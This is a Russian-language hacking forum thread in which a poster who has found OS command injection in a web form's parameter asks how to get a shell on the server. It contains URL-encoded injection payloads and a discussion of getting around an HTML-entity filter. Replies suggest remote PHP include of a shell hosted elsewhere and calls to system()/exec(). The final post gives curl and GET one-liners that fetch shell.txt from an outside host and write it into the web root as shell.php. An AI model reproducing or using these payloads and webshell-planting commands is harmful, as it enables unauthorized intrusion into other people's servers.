Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так: param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile2.txt%3B после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа param1=180%3Becho+test%3Einclude%2Ffile.txt%3B (%3E - это ">") Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает. Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу ) Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах.. Перенаправление в файл не работает, т.к. фильтруется вот таким образом: $QWE = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => '''); $_POST[$key] = strtr(stripslashes($value), $QWE); Возможно есть способ обойти такой фильтр, чтобы > не поменялось на >?
n0mie Универсального кроссплатформенного решения боюсь нет Дык, wget'ом получилось залить? .Slip, я был прав!
Nek1t видишь разницу между /bin/bash и интерпритарором php 2TS не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt Получить шелл ты можешь функцией system() exec() passhru() и так далее. php.net тут справочник по функциям. ------------------------ update мда...
[ cash ] ТС несколько путает интерпритатор PHP и /bin/bash. Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash
Имхо просто не внимательно читаете.. "Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код." Скачать файл получилось.. Только не wget, а fetch'ем..
Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил. Гланое, что утерли нос [ cash ] и .Slip
Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет. для таких целей можно пролазеть, грубо вырожаясь через зад. Часто сталкивался что только такие методы помогали. curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php